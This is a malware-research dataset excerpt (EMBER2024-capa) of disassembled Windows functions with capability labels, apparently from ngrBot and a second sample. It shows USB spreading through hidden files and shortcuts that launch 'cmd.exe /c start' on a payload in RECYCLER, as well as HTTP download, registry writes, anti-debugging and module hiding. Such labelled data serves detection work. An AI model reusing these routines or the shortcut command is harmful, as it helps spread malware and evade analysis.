joyce8/EMBER2024-capa huggingface dataset:
Function at 0x20fa310
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1404
call fcn.02100f10
push ebx
push esi
push edi
push 0x3ff
lea eax, [ebp - 0x403]
push 0
push eax
mov byte [ebp - 0x404], 0
call sub.MSVCRT.dll_memset
push 0x7ff
lea ecx, [ebp - 0x1003]
push 0
push ecx
mov byte [ebp - 0x1004], 0
call sub.MSVCRT.dll_memset
push 0x3ff
lea edx, [ebp - 0x803]
push 0
push edx
mov byte [ebp - 0x804], 0
call sub.MSVCRT.dll_memset
mov ecx, dword [ebp + 8]
lea eax, [ebp + 0xc]
push eax
push ecx
lea edx, [ebp - 0x1404]
push 0x3fe
push edx
call sub.MSVCRT.dll__vsnprintf
lea eax, [ebp - 0x1404]
push eax
lea ecx, [ebp - 0x404]
push 0x21013ec
push ecx
call sub.MSVCRT.dll_sprintf
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
add esp, 0x40
push str.Moron
call edi
push eax
push str.Moron
call fcn.020f1e60
push eax
push str..pipe_08x_ipc
lea edx, [ebp - 0x804]
push 0x3ff
push edx
call sub.MSVCRT.dll__snprintf
add esp, 0x18
lea eax, [ebp - 0x404]
push eax
call edi
mov esi, eax
push esi
lea ecx, [ebp - 0x1004]
push 0x2102a30
push ecx
call sub.MSVCRT.dll_sprintf
add esp, 0xc
lea edx, [ebp - 0x1004]
push edx
call edi
push str.Moron
mov ebx, eax
call edi
push eax
push esi
lea eax, [ebp - 0x404]
push str.Moron
push eax
call fcn.020f1440
add esp, 0x10
push esi
lea ecx, [ebp - 0x404]
push ecx
lea edx, [ebp + ebx - 0x1004]
push edx
call fcn.020f2440
push 0x213ac34
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push 0
push 0
push 3
push 0
push 0
push 0x40000000
lea eax, [ebp - 0x804]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x20fa473
push 0x213ac34
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
push 0
lea ecx, [ebp - 4]
push ecx
add ebx, esi
push ebx
lea edx, [ebp - 0x1004]
push edx
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x213ac34
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x20fa5d0
Capabilities:
Create thread
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
xor esi, esi
xor ebx, ebx
mov dword [ebp - 4], esi
cmp dword [0x2105884], esi
jbe 0x20fa63b
push edi
mov edi, 0x2105884
jmp 0x20fa5f0
mov eax, dword [edi]
mov ecx, dword [esi + 0x2105880]
push 0x20
push eax
push 0x2105778
push ecx
call fcn.020f1440
mov edx, dword [edi]
mov eax, dword [esi + 0x2105880]
push edx
push eax
call fcn.020f1e60
add esp, 0x18
cmp eax, dword [esi + 0x2105888]
jne 0x20fa64a
add dword [ebp - 4], eax
inc ebx
lea esi, [ebx + ebx*2]
add esi, esi
add esi, esi
cmp dword [esi + 0x2105884], 0
lea edi, [esi + 0x2105884]
ja 0x20fa5f0
pop edi
mov edx, dword [ebp - 4]
lea ecx, [ebx + ebx*2]
cmp edx, dword [ecx*4 + 0x2105888]
je 0x20fa686
push 0
push 0
push 0
push 0x20fe750
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x30
push str.ngrBot_Error
push str.This_binary_is_invalid._r_n_r_nMain_reasons:_r_n__you_stupid_cracker_r_n__you_stupid_cracker..._r_n__you_stupid_cracker___r_n
push 0
mov esi, eax
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x20fa690
Capabilities:
Create process on windows
Get common file path
Get program files directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x874
xor eax, eax
push 0x206
push eax
lea ecx, [ebp - 0x25a]
push ecx
mov word [ebp - 0x25c], ax
call sub.MSVCRT.dll_memset
xor edx, edx
push 0x616
push edx
lea eax, [ebp - 0x872]
push eax
mov word [ebp - 0x874], dx
call sub.MSVCRT.dll_memset
add esp, 0x18
push 0
push 0x26
lea ecx, [ebp - 0x25c]
push ecx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
test eax, eax
jne 0x20fa6ed
mov esp, ebp
pop ebp
ret
push str.Internet_Exploreriexplore.exe
lea edx, [ebp - 0x25c]
push edx
call dword [sym.imp.SHLWAPI.dll_PathAppendW]
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x25c]
push ecx
push str.__s___S
lea edx, [ebp - 0x874]
push 0x617
push edx
call sub.MSVCRT.dll__snwprintf
push 0x10
lea eax, [ebp - 0x10]
push 0
push eax
call fcn.020f35f0
push 0x44
lea ecx, [ebp - 0x54]
push 0
push ecx
call fcn.020f35f0
add esp, 0x2c
cmp dword [ebp + 0xc], 0
mov dword [ebp - 0x54], 0x44
mov dword [ebp - 0x28], 1
je 0x20fa75c
mov edx, 5
mov word [ebp - 0x24], dx
jmp 0x20fa762
xor eax, eax
mov word [ebp - 0x24], ax
lea ecx, [ebp - 0x10]
push ecx
lea edx, [ebp - 0x54]
push edx
push 0
push 0
push 0x10
push 0
push 0
push 0
lea eax, [ebp - 0x874]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov esp, ebp
pop ebp
ret
Function at 0x20fa990
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push esi
push 0x10
xor esi, esi
lea eax, [ebp - 0x10]
push esi
push eax
call fcn.020f35f0
push 0x44
lea ecx, [ebp - 0x54]
push esi
push ecx
call fcn.020f35f0
xor edx, edx
add esp, 0x18
mov dword [ebp - 0x54], 0x44
mov dword [ebp - 0x28], 1
mov word [ebp - 0x24], dx
call fcn.020f68b0
test eax, eax
jne 0x20fa9d6
pop esi
mov esp, ebp
pop ebp
ret
lea ecx, [ebp - 0x10]
push ecx
lea edx, [ebp - 0x54]
push edx
push 0
push 0
push 0x10
push 0
push 0
push 0
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x20fa9fa
mov esi, dword [ebp - 8]
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x20faa10
Capabilities:
Check http status code
Create http request
Query remote server for available data
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
push ebx
push esi
push edi
push 0x103
lea eax, [ebp - 0x10f]
push 0
push eax
mov byte [ebp - 0x110], 0
call sub.MSVCRT.dll_memset
add esp, 0xc
push str.Mozilla_4.0
lea ecx, [ebp - 0x110]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov esi, dword [0x213b860]
test esi, esi
jne 0x20faa6e
push esi
push esi
push esi
push esi
lea edx, [ebp - 0x110]
push edx
call dword [sym.imp.WININET.dll_InternetOpenA]
mov esi, eax
mov dword [0x213b860], esi
mov edi, dword [ebp + 0x14]
xor eax, eax
test edi, edi
je 0x20faa7e
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push 0
push 0x4000000
push eax
mov eax, dword [ebp + 8]
push edi
push eax
push esi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov ebx, eax
xor edi, edi
cmp ebx, edi
jne 0x20faaa3
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
push edi
lea ecx, [ebp - 0xc]
push ecx
lea edx, [ebp - 8]
push edx
push 0x20000013
push esi
mov dword [ebp - 8], 0xc8
mov dword [ebp - 0xc], 4
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
test eax, eax
je 0x20faadb
mov eax, dword [ebp - 8]
cmp eax, 0xc8
jb 0x20faa9a
cmp eax, 0x12b
ja 0x20faa9a
mov esi, dword [ebp + 0x10]
push edi
push edi
push esi
push ebx
call dword [sym.imp.WININET.dll_InternetQueryDataAvailable]
test eax, eax
je 0x20faa9a
mov dword [esi], edi
mov dword [0x213b85c], edi
mov dword [0x213b858], edi
mov dword [0x213b854], edi
mov edi, dword [sym.imp.WININET.dll_InternetReadFile]
mov dword [ebp - 4], 1
lea ecx, [ecx]
push 0x1000
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov dword [0x213b85c], eax
add esp, 4
mov dword [eax + 0xffc], 0
cmp dword [0x213b854], 0
jne 0x20fab41
mov eax, dword [0x213b85c]
mov dword [0x213b854], eax
jmp 0x20fab57
mov eax, dword [0x213b858]
mov ecx, dword [0x213b85c]
mov dword [eax + 0xffc], ecx
mov eax, dword [0x213b85c]
lea edx, [ebp - 4]
push edx
push 0xff8
push eax
push ebx
mov dword [0x213b858], eax
call edi
mov ecx, dword [0x213b85c]
mov eax, dword [ebp - 4]
mov dword [ecx + 0xff8], eax
mov eax, dword [ebp - 4]
add dword [esi], eax
mov ecx, dword [esi]
test eax, eax
jne 0x20fab10
inc ecx
push ecx
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov edi, dword [ebp + 0xc]
add esp, 4
mov dword [edi], eax
mov eax, dword [0x213b854]
xor esi, esi
xor ecx, ecx
mov dword [0x213b85c], eax
test ecx, ecx
je 0x20fabb2
push ecx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov eax, dword [0x213b85c]
add esp, 4
test eax, eax
je 0x20fabe0
mov edx, dword [eax + 0xff8]
push edx
push eax
mov eax, dword [edi]
add eax, esi
push eax
call fcn.020f3640
mov eax, dword [0x213b85c]
add esp, 0xc
add esi, dword [eax + 0xff8]
mov ecx, eax
mov eax, dword [eax + 0xffc]
jmp 0x20fab9b
mov ecx, dword [edi]
push ebx
mov byte [esi + ecx], 0
call dword [sym.imp.WININET.dll_InternetCloseHandle]
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x20fb300
Capabilities:
Get common file path
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
push esi
push edi
push 0x208
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push 0x206
xor esi, esi
mov edi, eax
lea ecx, [ebp - 0x20a]
xor eax, eax
push esi
push ecx
mov word [ebp - 0x20c], ax
call sub.MSVCRT.dll_memset
push 0x206
lea eax, [ebp - 0x412]
xor edx, edx
push esi
push eax
mov word [ebp - 0x414], dx
call sub.MSVCRT.dll_memset
add esp, 0x18
cmp edi, esi
jne 0x20fb37b
cmp dword [ebp + 8], esi
je 0x20fb370
pop edi
mov eax, str.lol.exe
pop esi
mov esp, ebp
pop ebp
ret
pop edi
mov eax, 0x2102bac
pop esi
mov esp, ebp
pop ebp
ret
push 0x208
lea ecx, [ebp - 0x20c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
test eax, eax
je 0x20fb365
push 4
lea edx, [ebp - 0x20c]
push edx
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpynW]
push esi
push esi
push esi
push esi
lea ecx, [ebp - 4]
push ecx
push esi
push esi
lea edx, [ebp - 0x414]
push edx
mov dword [ebp - 4], esi
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
test eax, eax
jne 0x20fb3cc
mov dword [ebp - 4], 0x1337b00b
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenA]
push str.Moron
call ebx
test eax, eax
jbe 0x20fb3f6
mov edi, edi
movsx eax, byte [esi + str.Moron]
add dword [ebp - 4], eax
push str.Moron
inc esi
call ebx
cmp esi, eax
jb 0x20fb3e0
movzx eax, byte [ebp - 4]
cdq
mov ecx, 0x1a
idiv ecx
pop ebx
add edx, 0x41
mov word [edi], dx
movzx eax, byte [ebp - 3]
cdq
idiv ecx
add edx, 0x61
mov word [edi + 2], dx
movzx eax, byte [ebp - 2]
cdq
idiv ecx
add edx, 0x61
mov word [edi + 4], dx
movzx eax, byte [ebp - 1]
cdq
idiv ecx
add edx, 0x61
mov word [edi + 6], dx
movzx eax, byte [ebp - 2]
cdq
idiv ecx
add edx, 0x61
mov word [edi + 8], dx
movzx edx, byte [ebp - 4]
movzx eax, byte [ebp - 1]
add eax, edx
cdq
idiv ecx
add edx, 0x61
cmp dword [ebp + 8], 0
mov word [edi + 0xa], dx
je 0x20fb467
push str..exe
push edi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x20fd6b0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x213a294]
sub esp, 8
test eax, eax
je 0x20fd6e0
lea ecx, [ebp - 8]
push ecx
mov ecx, dword [ebp + 0xc]
lea edx, [ebp - 4]
push edx
mov edx, dword [ebp + 8]
push 0
push 0xf003f
push 0
push 0
push 0
push ecx
push edx
call eax
jmp 0x20fd703
mov edx, dword [ebp + 0xc]
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp + 8]
lea ecx, [ebp - 4]
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x20fd759
mov edx, dword [ebp + 0x14]
mov eax, edx
push esi
lea esi, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x20fd710
sub eax, esi
sar eax, 1
lea ecx, [eax + eax + 2]
mov eax, dword [ebp - 4]
push ecx
push edx
mov edx, dword [ebp + 0x10]
push 1
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
pop esi
test eax, eax
jne 0x20fd74f
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
mov esp, ebp
pop ebp
ret
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x20fee40
Capabilities:
Create shortcut via ishelllink
Get file system object information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x680
lea eax, [ebp - 4]
push eax
push 0x2103614
push 1
push 0
push 0x2103634
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jl 0x20fefdb
push ebx
push esi
push edi
push 0x207
lea ecx, [ebp - 0x317]
push 0
push ecx
mov byte [ebp - 0x318], 0
call sub.MSVCRT.dll_memset
mov edx, dword [ebp + 0xc]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcpyA]
add esp, 0xc
push edx
lea eax, [ebp - 0x318]
push eax
call ebx
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x2102c78
lea ecx, [ebp - 0x318]
push ecx
call edi
mov edx, dword [ebp + 0x10]
push edx
lea eax, [ebp - 0x318]
push eax
call edi
push 0x15c
lea ecx, [ebp - 0x474]
push 0
push ecx
mov dword [ebp - 0x478], 0
call sub.MSVCRT.dll_memset
mov eax, dword [ebp + 0x14]
add esp, 0xc
push 0x1000
push 0x160
lea edx, [ebp - 0x478]
push edx
push 0
push eax
call dword [sym.imp.SHELL32.dll_SHGetFileInfoA]
mov eax, dword [ebp - 4]
mov edx, dword [ebp + 8]
mov ecx, dword [eax]
push edx
push eax
mov eax, dword [ecx + 0x50]
call eax
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
lea edx, [ebp - 0x318]
push edx
push eax
mov eax, dword [ecx + 0x2c]
call eax
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x44]
push 4
push str.shell32.dll
push eax
call edx
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
lea edx, [ebp - 8]
push edx
push 0x2103624
push eax
mov eax, dword [ecx]
call eax
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x3c]
push 7
push eax
call edx
mov esi, eax
test esi, esi
jl 0x20fefcb
push 0x107
lea eax, [ebp - 0x10f]
push 0
push eax
mov byte [ebp - 0x110], 0
call sub.MSVCRT.dll_memset
mov ecx, dword [ebp + 0x14]
add esp, 0xc
push ecx
lea edx, [ebp - 0x110]
push edx
call ebx
push str..lnk
lea eax, [ebp - 0x110]
push eax
call edi
push 0x104
lea ecx, [ebp - 0x680]
push ecx
push 0xffffffffffffffff
lea edx, [ebp - 0x110]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
push 1
lea edx, [ebp - 0x680]
push edx
push eax
mov eax, dword [ecx + 0x18]
call eax
mov esi, eax
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x20fefe0
Capabilities:
Get file attributes
Set file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1000
call fcn.02100f10
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push 0x7ff
mov ebx, eax
lea eax, [ebp - 0xfff]
push 0
push eax
mov byte [ebp - 0x1000], 0
call sub.MSVCRT.dll_memset
push 0x7ff
lea ecx, [ebp - 0x7ff]
push 0
push ecx
mov byte [ebp - 0x800], 0
call sub.MSVCRT.dll_memset
add esp, 0x18
push str..lnk
push esi
call dword [sym.imp.SHLWAPI.dll_PathFindExtensionA]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcmpA]
push eax
call edi
test eax, eax
je 0x20ff11b
push 0x21013d8
push esi
call edi
test eax, eax
je 0x20ff11b
push 0x2102fcc
push esi
call edi
test eax, eax
je 0x20ff11b
cmp dword [ebp + 0x10], 0
je 0x20ff07f
test bl, 0x10
je 0x20ff11b
cmp dword [ebp + 0x14], 0
je 0x20ff10f
push str.RECYCLER
push esi
call edi
test eax, eax
je 0x20ff11b
push 0x5c
push esi
call sub.MSVCRT.dll_strrchr
mov ebx, dword [ebp + 0xc]
push 0x5c
push ebx
mov edi, eax
call sub.MSVCRT.dll_strrchr
add esp, 0x10
test eax, eax
je 0x20ff11b
test edi, edi
je 0x20ff11b
inc eax
push eax
push str._c__start___cd__RECYCLER_s
lea edx, [ebp - 0x1000]
push 0x7ff
push edx
call sub.MSVCRT.dll__snprintf
inc edi
push edi
push str.__windir__explorer.exe___cd___s
lea eax, [ebp - 0x800]
push 0x7ff
push eax
call sub.MSVCRT.dll__snprintf
push ebx
push esi
lea ecx, [ebp - 0x800]
push ecx
lea edx, [ebp - 0x1000]
push edx
push str._windir__system32cmd.exe
call fcn.020fee40
add esp, 0x34
push 6
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x20ff130
Capabilities:
Enumerate files on windows
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x350
push ebx
push esi
xor ebx, ebx
push 0x105
lea eax, [ebp - 0x34f]
push ebx
push eax
mov byte [ebp - 0x350], bl
call sub.MSVCRT.dll_memset
push 0x103
lea ecx, [ebp - 0x107]
push ebx
push ecx
mov byte [ebp - 0x108], bl
call sub.MSVCRT.dll_memset
mov esi, dword [ebp + 8]
add esp, 0x18
push esi
lea edx, [ebp - 0x350]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x350]
push 0x2102fe0
push eax
call fcn.020fedf0
add esp, 8
push esi
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
lea ecx, [ebp - 0x248]
push ecx
lea edx, [ebp - 0x350]
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
jne 0x20ff1c0
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
push edi
push ebx
call dword [sym.imp.ole32.dll_CoInitialize]
lea eax, [ebp - 0x21c]
push eax
push esi
push 0x2102fd8
lea ecx, [ebp - 0x108]
push 0x103
push ecx
call sub.MSVCRT.dll__snprintf
mov edi, dword [ebp + 0x14]
mov ebx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
push edi
push ebx
push edx
lea eax, [ebp - 0x108]
push eax
call fcn.020fefe0
mov edx, dword [ebp - 4]
add esp, 0x24
lea ecx, [ebp - 0x248]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
je 0x20ff29a
lea ebx, [ebx]
push 8
lea eax, [ebp - 0x21c]
push str.RECYCLER
push eax
call sub.MSVCRT.dll_strncmp
add esp, 0xc
test eax, eax
je 0x20ff285
lea ecx, [ebp - 0x21c]
push str..inf
push ecx
call sub.MSVCRT.dll_strstr
add esp, 8
test eax, eax
jne 0x20ff285
lea edx, [ebp - 0x21c]
push edx
push esi
push 0x2102fd8
lea eax, [ebp - 0x108]
push 0x103
push eax
call sub.MSVCRT.dll__snprintf
mov ecx, dword [ebp + 0xc]
push edi
push ebx
push ecx
lea edx, [ebp - 0x108]
push edx
call fcn.020fefe0
add esp, 0x24
mov ecx, dword [ebp - 4]
lea eax, [ebp - 0x248]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x20ff220
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x20ff2b0
Capabilities:
Get storage device properties

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
push ebx
push edi
xor ebx, ebx
push 0x104
mov dword [ebp - 4], ebx
call fcn.020f3810
mov edi, eax
add esp, 4
cmp edi, ebx
jne 0x20ff2db
pop edi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
push esi
push ecx
push str.._c:
push edi
call sub.MSVCRT.dll_sprintf
add esp, 0xc
push ebx
push ebx
push 3
push ebx
push 3
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x20ff375
push 0x3ff
lea edx, [ebp - 0x413]
push ebx
push edx
mov dword [ebp - 8], ebx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x10], ebx
mov byte [ebp - 0x414], bl
call sub.MSVCRT.dll_memset
add esp, 0xc
push ebx
lea eax, [ebp - 8]
push eax
push 0x400
lea ecx, [ebp - 0x414]
push ecx
push 0xc
lea edx, [ebp - 0x14]
push edx
push 0x2d1400
push esi
mov dword [ebp - 0x410], 0x400
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
push esi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
je 0x20ff375
cmp dword [ebp - 0x3f8], 7
jne 0x20ff375
mov dword [ebp - 4], 1
push edi
call fcn.020f37f0
mov eax, dword [ebp - 4]
add esp, 4
pop esi
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x20ff9e0
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x204
push ebx
push 0x1ff
lea eax, [ebp - 0x203]
push 0
push eax
mov byte [ebp - 0x204], 0
call sub.MSVCRT.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x204]
xor eax, eax
push ecx
push 0x1ff
mov byte [ebp - 4], 0
mov word [ebp - 3], ax
mov byte [ebp - 1], al
xor ebx, ebx
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
test eax, eax
je 0x20ffa8d
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea esi, [ebp - 0x204]
lea ebx, [ebx]
lea edx, [ebp - 4]
push 4
push edx
call fcn.020f24e0
mov al, byte [esi]
add esp, 8
push 0x2103040
lea ecx, [ebp - 4]
push ecx
mov byte [ebp - 4], al
call edi
lea edx, [ebp - 4]
push edx
call fcn.020ff2b0
add esp, 4
test eax, eax
je 0x20ffa80
lea eax, [ebp - 4]
push eax
call fcn.020ff430
add esp, 4
test eax, eax
je 0x20ffa80
inc ebx
nop
mov cl, byte [esi]
inc esi
test cl, cl
jne 0x20ffa80
cmp byte [esi], cl
jne 0x20ffa40
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100028c0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push ebx
mov byte [ebp - 0x10], 0x43
mov al, 0x2d
xor al, byte [ebp - 0x10]
mov bl, 0x2f
mov ah, bl
mov byte [ebp - 0xf], al
mov al, byte [ebp - 0x10]
mov dl, 0x27
push esi
mov esi, ecx
mov byte [ebp - 1], ah
mov bh, ah
mov byte [ebp - 6], 0
mov dh, dl
mov byte [ebp - 6], 0
xor dl, al
xor bl, al
xor ah, al
mov byte [ebp - 0xd], dl
xor dh, al
mov byte [ebp - 0xb], ah
xor bh, al
mov byte [ebp - 0xc], bl
mov cl, 0x37
mov byte [ebp - 9], dh
xor cl, al
mov byte [ebp - 8], bh
mov ch, 0x6d
mov byte [ebp - 0xe], cl
xor ch, al
mov al, byte [ebp - 1]
xor al, byte [ebp - 0x10]
mov byte [ebp - 7], al
lea eax, [ebp - 0xf]
push edi
push eax
mov byte [ebp - 0xa], ch
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edx, eax
test edx, edx
je 0x10002993
movaps xmm0, xmmword [0x10016e50]
xor eax, eax
movups xmmword [ebp - 0x28], xmm0
mov dword [ebp - 0x18], 0x1a003c06
mov dword [ebp - 0x14], 0xc090d
nop word [eax + eax]
mov cl, byte [ebp - 0x28]
xor byte [ebp + eax - 0x27], cl
inc eax
cmp eax, 0x16
jb 0x10002950
lea eax, [ebp - 0x27]
mov byte [ebp - 0x11], 0
push eax
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
test edi, edi
je 0x10002993
test esi, esi
jne 0x1000297e
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov esi, eax
push 0
push 0
push 0x11
push esi
call edi
pop edi
test eax, eax
pop esi
sete al
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x100029a0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], 0
pushal
pushfd
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov dword [ebp - 4], eax
mov esi, dword [eax + 0xc]
mov edx, dword [eax + 0x10]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x18]
cmp ecx, dword [ebp - 8]
jne 0x100029de
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x100029e2
cmp edx, esi
jne 0x100029c7
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x14]
mov edx, dword [eax + 0x18]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x10]
cmp ecx, dword [ebp - 8]
jne 0x10002a02
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x10002a06
cmp edx, esi
jne 0x100029eb
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x1c]
mov edx, dword [eax + 0x20]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 8]
cmp ecx, dword [ebp - 8]
jne 0x10002a26
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x10002a2a
cmp edx, esi
jne 0x10002a0f
popfd
popal
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret